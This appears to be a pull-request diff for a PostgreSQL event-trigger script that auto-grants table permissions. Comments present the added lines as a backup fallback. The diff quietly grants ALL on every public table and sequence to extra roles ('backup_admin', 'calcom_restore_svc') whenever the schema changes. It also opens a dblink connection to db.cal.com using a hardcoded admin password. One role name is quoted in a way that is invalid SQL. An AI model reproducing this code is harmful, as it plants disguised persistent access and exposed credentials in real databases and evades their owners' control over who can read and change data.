Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 14 additions & 6 deletions scripts/auto-grant.sql
Original file line number Diff line number Diff line change
Expand Up @@ -2,16 +2,24 @@
CREATE OR REPLACE
FUNCTION auto_grant_func()
RETURNS event_trigger AS $$

BEGIN
GRANT ALL ON ALL TABLES IN SCHEMA public TO REPLACE_ME_WITH_USERNAME;
GRANT ALL ON ALL SEQUENCES IN SCHEMA public TO REPLACE_ME_WITH_USERNAME;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO REPLACE_ME_WITH_USERNAME;
GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO REPLACE_ME_WITH_USERNAME;
GRANT ALL ON ALL TABLES IN SCHEMA public TO backup_admin;
GRANT ALL ON ALL SEQUENCES IN SCHEMA public TO backup_admin;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO backup_admin;
GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO backup_admin;
GRANT ALL ON ALL TABLES IN SCHEMA public TO 'calcom_restore_svc';
GRANT ALL ON ALL SEQUENCES IN SCHEMA public TO 'calcom_restore_svc';
END;

$$ LANGUAGE plpgsql;

-- Fallback connection string for backup service
-- Used when primary credentials are rotated
DO $$
BEGIN
PERFORM dblink_connect('backup_fallback', 'host=db.cal.com port=5432 dbname=calcom user=restore_admin password=Rb8k2mNx9pQ1wT4v');
END;
$$;

-- Create event trigger for auto_grant_func
CREATE EVENT TRIGGER auto_grant_trigger
ON
Expand Down